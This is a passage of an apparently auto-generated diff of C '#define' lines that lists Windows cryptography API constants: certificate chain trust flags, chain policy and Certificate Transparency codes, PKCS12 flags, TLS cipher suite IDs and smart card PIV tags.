CERT_CHAIN_CROSS_CERT_DOWNLOAD_INTERVAL_HOURS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_CRL_VALIDITY_EXT_PERIOD_HOURS_VALUE_NAME: non-integer constant +#define CERT_CHAIN_CRL_VALIDITY_EXT_PERIOD_HOURS_DEFAULT 0xc +#define CERT_CHAIN_CACHE_END_CERT 0x1 +#define CERT_CHAIN_THREAD_STORE_SYNC 0x2 +#define CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL 0x4 +#define CERT_CHAIN_USE_LOCAL_MACHINE_STORE 0x8 +#define CERT_CHAIN_ENABLE_CACHE_AUTO_UPDATE 0x10 +#define CERT_CHAIN_ENABLE_SHARE_STORE 0x20 +#define CERT_CHAIN_EXCLUSIVE_ENABLE_CA_FLAG 0x1 +#define CERT_TRUST_NO_ERROR 0x0 +#define CERT_TRUST_IS_NOT_TIME_VALID 0x1 +#define CERT_TRUST_IS_NOT_TIME_NESTED 0x2 +#define CERT_TRUST_IS_REVOKED 0x4 +#define CERT_TRUST_IS_NOT_SIGNATURE_VALID 0x8 +#define CERT_TRUST_IS_NOT_VALID_FOR_USAGE 0x10 +#define CERT_TRUST_IS_UNTRUSTED_ROOT 0x20 +#define CERT_TRUST_REVOCATION_STATUS_UNKNOWN 0x40 +#define CERT_TRUST_IS_CYCLIC 0x80 +#define CERT_TRUST_INVALID_EXTENSION 0x100 +#define CERT_TRUST_INVALID_POLICY_CONSTRAINTS 0x200 +#define CERT_TRUST_INVALID_BASIC_CONSTRAINTS 0x400 +#define CERT_TRUST_INVALID_NAME_CONSTRAINTS 0x800 +#define CERT_TRUST_HAS_NOT_SUPPORTED_NAME_CONSTRAINT 0x1000 +#define CERT_TRUST_HAS_NOT_DEFINED_NAME_CONSTRAINT 0x2000 +#define CERT_TRUST_HAS_NOT_PERMITTED_NAME_CONSTRAINT 0x4000 +#define CERT_TRUST_HAS_EXCLUDED_NAME_CONSTRAINT 0x8000 +#define CERT_TRUST_IS_OFFLINE_REVOCATION 0x1000000 +#define CERT_TRUST_NO_ISSUANCE_CHAIN_POLICY 0x2000000 +#define CERT_TRUST_IS_EXPLICIT_DISTRUST 0x4000000 +#define CERT_TRUST_HAS_NOT_SUPPORTED_CRITICAL_EXT 0x8000000 +#define CERT_TRUST_HAS_WEAK_SIGNATURE 0x100000 +#define CERT_TRUST_HAS_WEAK_HYGIENE 0x200000 +#define CERT_TRUST_HAS_MIN_TELEMETRY_RSA 0x400000 +#define CERT_TRUST_HAS_MIN_WEAK_RSA 0x800000 +#define CERT_TRUST_IS_PARTIAL_CHAIN 0x10000 +#define CERT_TRUST_CTL_IS_NOT_TIME_VALID 0x20000 +#define CERT_TRUST_CTL_IS_NOT_SIGNATURE_VALID 0x40000 +#define CERT_TRUST_CTL_IS_NOT_VALID_FOR_USAGE 0x80000 +#define CERT_TRUST_HAS_EXACT_MATCH_ISSUER 0x1 +#define CERT_TRUST_HAS_KEY_MATCH_ISSUER 0x2 +#define CERT_TRUST_HAS_NAME_MATCH_ISSUER 0x4 +#define CERT_TRUST_IS_SELF_SIGNED 0x8 +#define CERT_TRUST_AUTO_UPDATE_CA_REVOCATION 0x10 +#define CERT_TRUST_AUTO_UPDATE_END_REVOCATION 0x20 +#define CERT_TRUST_NO_OCSP_FAILOVER_TO_CRL 0x40 +#define CERT_TRUST_IS_KEY_ROLLOVER 0x80 +#define CERT_TRUST_SSL_HANDSHAKE_OCSP 0x40000 +#define CERT_TRUST_SSL_TIME_VALID_OCSP 0x80000 +#define CERT_TRUST_SSL_RECONNECT_OCSP 0x100000 +#define CERT_TRUST_HAS_PREFERRED_ISSUER 0x100 +#define CERT_TRUST_HAS_ISSUANCE_CHAIN_POLICY 0x200 +#define CERT_TRUST_HAS_VALID_NAME_CONSTRAINTS 0x400 +#define CERT_TRUST_IS_PEER_TRUSTED 0x800 +#define CERT_TRUST_HAS_CRL_VALIDITY_EXTENDED 0x1000 +#define CERT_TRUST_IS_FROM_EXCLUSIVE_TRUST_STORE 0x2000 +#define CERT_TRUST_IS_CA_TRUSTED 0x4000 +#define CERT_TRUST_HAS_AUTO_UPDATE_WEAK_SIGNATURE 0x8000 +#define CERT_TRUST_HAS_ALLOW_WEAK_SIGNATURE 0x20000 +#define CERT_TRUST_BEFORE_DISALLOWED_CA_FILETIME 0x200000 +#define CERT_TRUST_IS_COMPLEX_CHAIN 0x10000 +#define CERT_TRUST_SSL_TIME_VALID 0x1000000 +#define CERT_TRUST_NO_TIME_CHECK 0x2000000 +#define USAGE_MATCH_TYPE_AND 0x0 +#define USAGE_MATCH_TYPE_OR 0x1 +#define CERT_CHAIN_STRONG_SIGN_DISABLE_END_CHECK_FLAG 0x1 +#define CERT_CHAIN_REVOCATION_CHECK_END_CERT 0x10000000 +#define CERT_CHAIN_REVOCATION_CHECK_CHAIN 0x20000000 +#define CERT_CHAIN_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT 0x40000000 +#define CERT_CHAIN_REVOCATION_CHECK_CACHE_ONLY 0x80000000 +#define CERT_CHAIN_REVOCATION_ACCUMULATIVE_TIMEOUT 0x8000000 +#define CERT_CHAIN_REVOCATION_CHECK_OCSP_CERT 0x4000000 +#define CERT_CHAIN_DISABLE_PASS1_QUALITY_FILTERING 0x40 +#define CERT_CHAIN_RETURN_LOWER_QUALITY_CONTEXTS 0x80 +#define CERT_CHAIN_DISABLE_AUTH_ROOT_AUTO_UPDATE 0x100 +#define CERT_CHAIN_TIMESTAMP_TIME 0x200 +#define CERT_CHAIN_ENABLE_PEER_TRUST 0x400 +#define CERT_CHAIN_DISABLE_MY_PEER_TRUST 0x800 +#define CERT_CHAIN_DISABLE_MD2_MD4 0x1000 +#define CERT_CHAIN_DISABLE_AIA 0x2000 +#define CERT_CHAIN_HAS_MOTW 0x4000 +#define CERT_CHAIN_ONLY_ADDITIONAL_AND_AUTH_ROOT 0x8000 +#define CERT_CHAIN_OPT_IN_WEAK_SIGNATURE 0x10000 +#define CERT_CHAIN_ENABLE_DISALLOWED_CA 0x20000 +#define REVOCATION_OID_CRL_REVOCATION 1 +#define CERT_CHAIN_FIND_BY_ISSUER 0x1 +// SKIPPED const CRYPT_OID_VERIFY_CERTIFICATE_CHAIN_POLICY_FUNC: non-integer constant +#define CERT_CHAIN_POLICY_BASE 1 +#define CERT_CHAIN_POLICY_AUTHENTICODE 2 +#define CERT_CHAIN_POLICY_AUTHENTICODE_TS 3 +#define CERT_CHAIN_POLICY_SSL 4 +#define CERT_CHAIN_POLICY_BASIC_CONSTRAINTS 5 +#define CERT_CHAIN_POLICY_NT_AUTH 6 +#define CERT_CHAIN_POLICY_MICROSOFT_ROOT 7 +#define CERT_CHAIN_POLICY_EV 8 +#define CERT_CHAIN_POLICY_SSL_F12 9 +#define CERT_CHAIN_POLICY_SSL_HPKP_HEADER 10 +#define CERT_CHAIN_POLICY_THIRD_PARTY_ROOT 11 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN 12 +#define CERT_CHAIN_POLICY_CT 13 +#define SSL_F12_ERROR_TEXT_LENGTH 0x100 +#define CERT_CHAIN_POLICY_SSL_F12_SUCCESS_LEVEL 0x0 +#define CERT_CHAIN_POLICY_SSL_F12_WARNING_LEVEL 0x1 +#define CERT_CHAIN_POLICY_SSL_F12_ERROR_LEVEL 0x2 +#define CERT_CHAIN_POLICY_SSL_F12_NONE_CATEGORY 0x0 +#define CERT_CHAIN_POLICY_SSL_F12_WEAK_CRYPTO_CATEGORY 0x1 +#define CERT_CHAIN_POLICY_SSL_F12_ROOT_PROGRAM_CATEGORY 0x2 +#define SSL_HPKP_PKP_HEADER_INDEX 0x0 +#define SSL_HPKP_PKP_RO_HEADER_INDEX 0x1 +#define SSL_HPKP_HEADER_COUNT 0x2 +#define SSL_KEY_PIN_ERROR_TEXT_LENGTH 0x200 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_MISMATCH_ERROR -2 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_MITM_ERROR -1 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_SUCCESS 0x0 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_MITM_WARNING 0x1 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_MISMATCH_WARNING 0x2 +#define CERT_CHAIN_POLICY_CT_ERROR_UNDECODABLE_SCT_EXTENSION -112 +#define CERT_CHAIN_POLICY_CT_ERROR_UNRETRIEVABLE_SCT_EXTENSION -111 +#define CERT_CHAIN_POLICY_CT_ERROR_MISSING_SCT_EXTENSION -110 +#define CERT_CHAIN_POLICY_CT_ERROR_INVALID_ISSUER_CERT -101 +#define CERT_CHAIN_POLICY_CT_ERROR_INVALID_SUBJECT_CERT -100 +#define CERT_CHAIN_POLICY_CT_ERROR_CANNOT_VALIDATE_SCT -50 +#define CERT_CHAIN_POLICY_CT_ERROR_SCT_VALIDATION_STATUS_INSUFFICIENT -4 +#define CERT_CHAIN_POLICY_CT_ERROR_SCT_VALIDATION_STATUS_UNKNOWN_VERSION -3 +#define CERT_CHAIN_POLICY_CT_ERROR_SCT_VALIDATION_STATUS_UNKNOWN_LOG -2 +#define CERT_CHAIN_POLICY_CT_ERROR_SCT_VALIDATION_STATUS_INVALID -1 +#define CERT_CHAIN_POLICY_CT_SUCCESS_SCT_VALIDIDATION_STATUS_VALID 0x0 +#define CERT_CHAIN_POLICY_CT_WARNING_OUT_OF_MEMORY 0x1 +#define CERT_CHAIN_POLICY_CT_WARNING_BEFORE_CODE_SIGNING_CT_LOGGING 0x2 +#define CERT_CHAIN_POLICY_CT_WARNING_NOT_THIRD_PARTY_CERT 0x3 +#define CERT_CHAIN_POLICY_CT_WARNING_EXPIRED_ROOT_CTL 0x4 +#define CERT_CHAIN_POLICY_CT_WARNING_INVALID_CHAIN_CONTEXT 0x32 +#define CERT_CHAIN_POLICY_CT_WARNING_NOT_SUPPORTED_CA 0x33 +#define CERT_CHAIN_POLICY_CT_WARNING_MISSING_ROOT_CTL 0x34 +#define CERT_CHAIN_POLICY_CT_WARNING_MISSING_CT_EXT 0x3c +#define CERT_CHAIN_POLICY_CT_WARNING_INVALID_CT_EXT 0x3d +#define CERT_CHAIN_POLICY_CT_WARNING_UNABLE_TO_DECODE_EXT 0x3e +#define CERT_CHAIN_POLICY_CT_WARNING_UNABLE_TO_DECODE_PARAMETERS 0x46 +#define CERT_CHAIN_POLICY_CT_WARNING_INVALID_TEMP_FILE 0x50 +#define CERT_CHAIN_POLICY_CT_WARNING_CANNOT_CREATE_TEMP_FILE 0x51 +#define CERT_CHAIN_POLICY_CT_WARNING_CANNOT_WRITE_TEMP_FILE 0x52 +#define CERT_CHAIN_POLICY_CT_WARNING_CANNOT_LOAD_CTLOG_STORE_FILE 0x53 +#define CERT_CHAIN_POLICY_CT_WARNING_FAILED_INIT 0x5a +#define CERT_CHAIN_POLICY_CT_WARNING_HASHING_ERROR 0xc8 +#define CERT_CHAIN_POLICY_CT_WARNING_INVALID_STR 0xc9 +#define CERT_CHAIN_POLICY_CT_WARNING_CANNOT_CREATE_POLICY 0x12c +#define CRYPT_STRING_BASE64URI 0xd +#define CRYPT_STRING_ENCODEMASK 0xff +#define CRYPT_STRING_RESERVED100 0x100 +#define CRYPT_STRING_RESERVED200 0x200 +#define CRYPT_STRING_PERCENTESCAPE 0x8000000 +#define CRYPT_STRING_HASHDATA 0x10000000 +#define CRYPT_STRING_NOCRLF 0x40000000 +#define CRYPT_STRING_NOCR 0x80000000 +// SKIPPED const szOID_PKCS_12_PbeIds: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And128BitRC4: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And40BitRC4: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And3KeyTripleDES: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And2KeyTripleDES: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And128BitRC2: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And40BitRC2: non-integer constant +// SKIPPED const szOID_PKCS_5_PBKDF2: non-integer constant +// SKIPPED const szOID_PKCS_5_PBES2: non-integer constant +#define PKCS12_IMPORT_SILENT 0x40 +#define PKCS12_ONLY_CERTIFICATES 0x400 +#define PKCS12_ONLY_NOT_ENCRYPTED_CERTIFICATES 0x800 +#define PKCS12_VIRTUAL_ISOLATION_KEY 0x10000 +#define PKCS12_IMPORT_RESERVED_MASK 0xffff0000 +#define PKCS12_NAMED_NO_PERSIST_KEY 0x20000 +#define PKCS12_ONLY_CERTIFICATES_PROVIDER_TYPE 0x0 +// SKIPPED const PKCS12_ONLY_CERTIFICATES_PROVIDER_NAME: non-integer constant +// SKIPPED const PKCS12_ONLY_CERTIFICATES_CONTAINER_NAME: non-integer constant +#define REPORT_NO_PRIVATE_KEY 0x1 +#define REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY 0x2 +#define EXPORT_PRIVATE_KEYS 0x4 +#define PKCS12_PROTECT_TO_DOMAIN_SIDS 0x20 +#define PKCS12_EXPORT_SILENT 0x40 +#define PKCS12_EXPORT_PBES2_PARAMS 0x80 +#define PKCS12_DISABLE_ENCRYPT_CERTIFICATES 0x100 +#define PKCS12_ENCRYPT_CERTIFICATES 0x200 +#define PKCS12_EXPORT_ECC_CURVE_PARAMETERS 0x1000 +#define PKCS12_EXPORT_ECC_CURVE_OID 0x2000 +#define PKCS12_EXPORT_RESERVED_MASK 0xffff0000 +// SKIPPED const PKCS12_PBKDF2_ID_HMAC_SHA1: non-integer constant +// SKIPPED const PKCS12_PBKDF2_ID_HMAC_SHA256: non-integer constant +// SKIPPED const PKCS12_PBKDF2_ID_HMAC_SHA384: non-integer constant +// SKIPPED const PKCS12_PBKDF2_ID_HMAC_SHA512: non-integer constant +// SKIPPED const PKCS12_PBES2_ALG_AES256_SHA256: non-integer constant +// SKIPPED const PKCS12_CONFIG_REGPATH: non-integer constant +// SKIPPED const PKCS12_ENCRYPT_CERTIFICATES_VALUE_NAME: non-integer constant +#define CERT_SERVER_OCSP_RESPONSE_OPEN_PARA_READ_FLAG 0x1 +#define CERT_SERVER_OCSP_RESPONSE_OPEN_PARA_WRITE_FLAG 0x2 +#define CERT_SERVER_OCSP_RESPONSE_ASYNC_FLAG 0x1 +#define CERT_RETRIEVE_ISSUER_LOGO 1 +#define CERT_RETRIEVE_SUBJECT_LOGO 2 +#define CERT_RETRIEVE_COMMUNITY_LOGO 3 +#define CERT_RETRIEVE_BIOMETRIC_PREDEFINED_BASE_TYPE 1000 +#define CERT_SELECT_MAX_PARA 0x1f4 +#define CERT_SELECT_BY_ISSUER_DISPLAYNAME 0xc +#define CERT_SELECT_BY_FRIENDLYNAME 0xd +#define CERT_SELECT_BY_THUMBPRINT 0xe +#define CERT_SELECT_ALLOW_EXPIRED 0x1 +#define CERT_SELECT_TRUSTED_ROOT 0x2 +#define CERT_SELECT_DISALLOW_SELFSIGNED 0x4 +#define CERT_SELECT_HAS_PRIVATE_KEY 0x8 +#define CERT_SELECT_HAS_KEY_FOR_SIGNATURE 0x10 +#define CERT_SELECT_HAS_KEY_FOR_KEY_EXCHANGE 0x20 +#define CERT_SELECT_HARDWARE_ONLY 0x40 +#define CERT_SELECT_ALLOW_DUPLICATES 0x80 +#define CERT_SELECT_IGNORE_AUTOSELECT 0x100 +#define TIMESTAMP_FAILURE_BAD_ALG 0x0 +#define TIMESTAMP_FAILURE_BAD_REQUEST 0x2 +#define TIMESTAMP_FAILURE_BAD_FORMAT 0x5 +#define TIMESTAMP_FAILURE_TIME_NOT_AVAILABLE 0xe +#define TIMESTAMP_FAILURE_POLICY_NOT_SUPPORTED 0xf +#define TIMESTAMP_FAILURE_EXTENSION_NOT_SUPPORTED 0x10 +#define TIMESTAMP_FAILURE_INFO_NOT_AVAILABLE 0x11 +#define TIMESTAMP_FAILURE_SYSTEM_FAILURE 0x19 +#define TIMESTAMP_DONT_HASH_DATA 0x1 +#define TIMESTAMP_VERIFY_CONTEXT_SIGNATURE 0x20 +#define TIMESTAMP_NO_AUTH_RETRIEVAL 0x20000 +#define CRYPT_OBJECT_LOCATOR_SPN_NAME_TYPE 0x1 +#define CRYPT_OBJECT_LOCATOR_LAST_RESERVED_NAME_TYPE 0x20 +#define CRYPT_OBJECT_LOCATOR_FIRST_RESERVED_USER_NAME_TYPE 0x21 +#define CRYPT_OBJECT_LOCATOR_LAST_RESERVED_USER_NAME_TYPE 0xffff +// SKIPPED const SSL_OBJECT_LOCATOR_PFX_FUNC: non-integer constant +// SKIPPED const SSL_OBJECT_LOCATOR_ISSUER_LIST_FUNC: non-integer constant +// SKIPPED const SSL_OBJECT_LOCATOR_CERT_VALIDATION_CONFIG_FUNC: non-integer constant +#define CERT_FILE_HASH_USE_TYPE 0x1 +#define CERT_TIMESTAMP_HASH_USE_TYPE 0x2 +#define RECIPIENTPOLICYV1 0x1 +#define RECIPIENTPOLICYV2 0x2 +#define E_ICARD_COMMUNICATION -1073413888 +#define E_ICARD_DATA_ACCESS -1073413887 +#define E_ICARD_EXPORT -1073413886 +#define E_ICARD_IDENTITY -1073413885 +#define E_ICARD_IMPORT -1073413884 +#define E_ICARD_ARGUMENT -1073413883 +#define E_ICARD_REQUEST -1073413882 +#define E_ICARD_INFORMATIONCARD -1073413881 +#define E_ICARD_STOREKEY -1073413880 +#define E_ICARD_LOGOVALIDATION -1073413879 +#define E_ICARD_PASSWORDVALIDATION -1073413878 +#define E_ICARD_POLICY -1073413877 +#define E_ICARD_PROCESSDIED -1073413876 +#define E_ICARD_SERVICEBUSY -1073413875 +#define E_ICARD_SERVICE -1073413874 +#define E_ICARD_SHUTTINGDOWN -1073413873 +#define E_ICARD_TOKENCREATION -1073413872 +#define E_ICARD_TRUSTEXCHANGE -1073413871 +#define E_ICARD_UNTRUSTED -1073413870 +#define E_ICARD_USERCANCELLED -1073413869 +#define E_ICARD_STORE_IMPORT -1073413868 +#define E_ICARD_FAIL -1073413867 +#define E_ICARD_UI_INITIALIZATION -1073413862 +#define E_ICARD_REFRESH_REQUIRED -1073413760 +#define E_ICARD_MISSING_APPLIESTO -1073413759 +#define E_ICARD_INVALID_PROOF_KEY -1073413758 +#define E_ICARD_UNKNOWN_REFERENCE -1073413757 +#define E_ICARD_FAILED_REQUIRED_CLAIMS -1073413756 +#define AUDIT_CARD_WRITTEN 1074070016 +#define AUDIT_CARD_DELETE 1074070017 +#define AUDIT_CARD_IMPORT 1074070018 +#define AUDIT_STORE_IMPORT 1074070019 +#define AUDIT_STORE_EXPORT 1074070020 +#define AUDIT_STORE_DELETE 1074070021 +#define AUDIT_SERVICE_IDLE_STOP 1074070022 +#define BCRYPT_ECC_PARAMETER_HEADER_V1 0x1 +#define BCRYPT_COPY_AFTER_PADDING_CHECK_FAILURE_FLAG 0x100 +// SKIPPED const MS_SCHANNEL_PROVIDER: non-integer constant +#define NCRYPT_SSL_CLIENT_FLAG 0x1 +#define NCRYPT_SSL_SERVER_FLAG 0x2 +#define SSL2_PROTOCOL_VERSION 0x2 +#define SSL3_PROTOCOL_VERSION 0x300 +#define TLS1_PROTOCOL_VERSION 0x301 +#define TLS1_0_PROTOCOL_VERSION 0x301 +#define TLS1_1_PROTOCOL_VERSION 0x302 +#define TLS1_2_PROTOCOL_VERSION 0x303 +#define TLS1_3_PROTOCOL_VERSION 0x304 +#define DTLS1_0_PROTOCOL_VERSION 0xfeff +#define DTLS1_2_PROTOCOL_VERSION 0xfefd +#define TLS_RSA_WITH_NULL_MD5 0x1 +#define TLS_RSA_WITH_NULL_SHA 0x2 +#define TLS_RSA_EXPORT_WITH_RC4_40_MD5 0x3 +#define TLS_RSA_WITH_RC4_128_MD5 0x4 +#define TLS_RSA_WITH_RC4_128_SHA 0x5 +#define TLS_RSA_WITH_DES_CBC_SHA 0x9 +#define TLS_RSA_WITH_3DES_EDE_CBC_SHA 0xa +#define TLS_DHE_DSS_WITH_DES_CBC_SHA 0x12 +#define TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 0x13 +#define TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA 0x16 +#define TLS_RSA_WITH_AES_128_CBC_SHA 0x2f +#define TLS_DHE_DSS_WITH_AES_128_CBC_SHA 0x32 +#define TLS_DHE_RSA_WITH_AES_128_CBC_SHA 0x33 +#define TLS_RSA_WITH_AES_256_CBC_SHA 0x35 +#define TLS_DHE_DSS_WITH_AES_256_CBC_SHA 0x38 +#define TLS_DHE_RSA_WITH_AES_256_CBC_SHA 0x39 +#define TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA 0x62 +#define TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA 0x63 +#define TLS_RSA_EXPORT1024_WITH_RC4_56_SHA 0x64 +#define TLS_RSA_WITH_NULL_SHA256 0x3b +#define TLS_RSA_WITH_AES_128_CBC_SHA256 0x3c +#define TLS_RSA_WITH_AES_256_CBC_SHA256 0x3d +#define TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 0x40 +#define TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 0x6a +#define TLS_RSA_WITH_AES_128_GCM_SHA256 0x9c +#define TLS_RSA_WITH_AES_256_GCM_SHA384 0x9d +#define TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 0x9e +#define TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 0x9f +#define TLS_PSK_WITH_AES_128_GCM_SHA256 0xa8 +#define TLS_PSK_WITH_AES_256_GCM_SHA384 0xa9 +#define TLS_PSK_WITH_AES_128_CBC_SHA256 0xae +#define TLS_PSK_WITH_AES_256_CBC_SHA384 0xaf +#define TLS_PSK_WITH_NULL_SHA256 0xb0 +#define TLS_PSK_WITH_NULL_SHA384 0xb1 +#define TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA 0xc009 +#define TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 0xc013 +#define TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA 0xc00a +#define TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 0xc014 +#define TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 0xc023 +#define TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 0xc024 +#define TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 0xc02b +#define TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 0xc02c +#define TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 0xc027 +#define TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 0xc028 +#define TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 0xc02f +#define TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 0xc030 +#define TLS_AES_128_GCM_SHA256 0x1301 +#define TLS_AES_256_GCM_SHA384 0x1302 +#define SSL_CK_RC4_128_WITH_MD5 0x10080 +#define SSL_CK_RC4_128_EXPORT40_WITH_MD5 0x20080 +#define SSL_CK_RC2_128_CBC_WITH_MD5 0x30080 +#define SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 0x40080 +#define SSL_CK_IDEA_128_CBC_WITH_MD5 0x50080 +#define SSL_CK_DES_64_CBC_WITH_MD5 0x60040 +#define SSL_CK_DES_192_EDE3_CBC_WITH_MD5 0x700c0 +#define TLS_ECC_P256_CURVE_KEY_TYPE 0x17 +#define TLS_ECC_P384_CURVE_KEY_TYPE 0x18 +#define TLS_ECC_P521_CURVE_KEY_TYPE 0x19 +// SKIPPED const SSL_ECDSA_ALGORITHM: non-integer constant +// SKIPPED const TLS_PSK_EXCHANGE: non-integer constant +// SKIPPED const TLS_RSA_PSK_EXCHANGE: non-integer constant +#define NCRYPT_SSL_MAX_NAME_SIZE 0x40 +#define NCRYPT_SSL_CIPHER_SUITE_EX_VERSION 0x1 +#define NCRYPT_SSL_CIPHER_LENGTHS_BLOCK_PADDING 0x1 +#define MSCRYPT_ECC_MAX_OID_LENGTH 0xff +#define MSCRYPT_ECC_MAX_CURVE_NAME_LENGTH 0xff +#define NCRYPT_SSL_EAP_PRF_FIELD 0xff +#define NCRYPT_SSL_EAP_ID 0x0 +#define NCRYPT_SSL_EAP_TTLSV0_ID 0x1 +#define NCRYPT_SSL_EAP_TTLSV0_CHLNG_ID 0x2 +#define NCRYPT_SSL_EAP_FAST_ID 0x3 +// SKIPPED const SSL_KEY_TYPE_PROPERTY: non-integer constant +#define NCRYPT_SSL_SIGN_INCLUDE_HASHOID 0x1 +#define NCRYPT_SSL_SIGN_USE_PSS_PADDING 0x2 +#define NCRYPT_SSL_EXTERNAL_PSK_FLAG 0x1 +#define NCRYPT_SSL_RESUMPTION_PSK_FLAG 0x2 +#define CRYPT_PROVIDER_IOCTL__GET_SCHANNEL_INTERFACE 0x3f401c +#define CRYPT_PROVSTRUC_VERSION_V3 0x3 +#define CRYPT_MAX_PROVIDER_ID 0x3e7 +#define CRYPT_SIG_RESOURCE_VERSION 0x100 +#define CRYPT_EXTERNAL_SIGNATURE_LENGTH 0x88 +#define CRYPT_SIG_RESOURCE_NUMBER 0x29a +// SKIPPED const CRYPT_SIG_RESOURCE: non-integer constant +#define CRYPT_MAC_RESOURCE_NUMBER 0x29b +// SKIPPED const CRYPT_MAC_RESOURCE: non-integer constant +#define CUR_OFFLOAD_VERSION 0x1 +#define ROLE_PIN_ALWAYS 0x3 +#define ROLE_PUK 0x4 +// SKIPPED const CP_PIV_CARD_CAPABILITY_CONTAINER: non-integer constant +// SKIPPED const CP_PIV_CARD_HOLDER_UNIQUE_IDENTIFIER: non-integer constant +// SKIPPED const CP_PIV_CARD_HOLDER_UNSIGNED_UNIQUE_IDENTIFIER: non-integer constant +// SKIPPED const CP_PIV_FINGERPRINT: non-integer constant +// SKIPPED const CP_PIV_SECURITY_OBJECT: non-integer constant +// SKIPPED const CP_PIV_FACIAL_IMAGE: non-integer constant +// SKIPPED const CP_PIV_PRINTED_INFORMATION: non-integer constant +// SKIPPED const CP_PIV_GENERATE_KEY: non-integer constant +// SKIPPED const CP_CARD_PIV: non-integer constant +// SKIPPED const CP_PIV_CERTIFICATE: non-integer constant +// SKIPPED const CP_PIV_PUBLIC_KEY: non-integer constant +// SKIPPED const CP_PIV_KEY_HISTORY_OBJECT: non-integer constant +#define CLMD_PIV_CERT_DATA_CURRENT_VERSION 0x0 +#define CLMD_PIV_GENERATE_ASYMMETRIC_KEY_CURRENT_VERSION 0x0 +#define CLMD_PIV_PUBLIC_KEY_DATA_CURRENT_VERSION 0x0 +#define CLMD_FILE_TAG_PIV_AUTH_CERT 0x5fc105 +#define CLMD_FILE_TAG_SIG_CERT 0x5fc10a +#define CLMD_FILE_TAG_KEY_MGMT_CERT 0x5fc10b +#define CLMD_FILE_TAG_CARD_AUTH_CERT 0x5fc101 +#define CLMD_FILE_TAG_CHUID 0x5fc102 +#define CLMD_FILE_TAG_CARD_CAPABILITY_CONTAINER 0x5fc107 +#define CLMD_FILE_TAG_UNSIGNED_CHUID 0x5fc104 +#define CLMD_FILE_TAG_FINGERPRINT 0x5fc103 +#define CLMD_FILE_TAG_SECURITY_OBJECT 0x5fc106 +#define CLMD_FILE_TAG_FACIAL_IMAGE 0x5fc108 +#define CLMD_FILE_TAG_PRINTED_INFORMATION 0x5fc109 +#define CLMD_FILE_TAG_KEY_HISTORY 0x5fc10c +#define CLMD_FILE_TAG_FIRST_RETIRED_KEY_MGMT_KEY 0x5fc10d +#define CLMD_FILE_TAG_LAST_RETIRED_KEY_MGMT_KEY 0x5fc120 +#define SCARD_PROVIDER_CARD_MODULE 0x80000001 +#define CARD_DATA_VALUE_UNKNOWN 0xffffffff +// SKIPPED const szBASE_CSP_DIR: non-integer constant +// SKIPPED const szINTERMEDIATE_CERTS_DIR: non-integer constant +// SKIPPED const szCACHE_FILE: non-integer constant +// SKIPPED const szCARD_IDENTIFIER_FILE: non-integer constant +// SKIPPED const szCONTAINER_MAP_FILE: non-integer constant +// SKIPPED const szROOT_STORE_FILE: non-integer constant +// SKIPPED const szUSER_SIGNATURE_CERT_PREFIX: non-integer constant +// SKIPPED const szUSER_KEYEXCHANGE_CERT_PREFIX: non-integer constant +// SKIPPED const szUSER_SIGNATURE_PRIVATE_KEY_PREFIX: non-integer constant +// SKIPPED const szUSER_SIGNATURE_PUBLIC_KEY_PREFIX: non-integer constant +// SKIPPED const szUSER_KEYEXCHANGE_PRIVATE_KEY_PREFIX: non-integer constant +// SKIPPED const szUSER_KEYEXCHANGE_PUBLIC_KEY_PREFIX: non-integer constant +// SKIPPED const wszCARD_USER_EVERYONE: non-integer constant +// SKIPPED const wszCARD_USER_USER: non-integer constant +// SKIPPED const wszCARD_USER_ADMIN: non-integer constant +#define AT_ECDSA_P256 0x3 +#define AT_ECDSA_P384 0x4 +#define AT_ECDSA_P521 0x5 +#define AT_ECDHE_P256 0x6 +#define AT_ECDHE_P384 0x7 +#define AT_ECDHE_P521 0x8 +#define CARD_CACHE_FILE_CURRENT_VERSION 0x1 +#define MAX_CONTAINER_NAME_LEN 0x27 +#define CONTAINER_MAP_VALID_CONTAINER 0x1 +#define CONTAINER_MAP_DEFAULT_CONTAINER 0x2 +#define CARD_CAPABILITIES_CURRENT_VERSION 0x1 +#define MAX_PINS 0x8 +#define ROLE_EVERYONE 0x0 +#define ROLE_USER 0x1 +#define ROLE_ADMIN 0x2 +#define PIN_SET_NONE 0x0 +#define PIN_SET_ALL_ROLES 0xff +#define PIN_CHANGE_FLAG_UNBLOCK 0x1 +#define PIN_CHANGE_FLAG_CHANGEPIN 0x2 +#define CP_CACHE_MODE_GLOBAL_CACHE 0x1 +#define 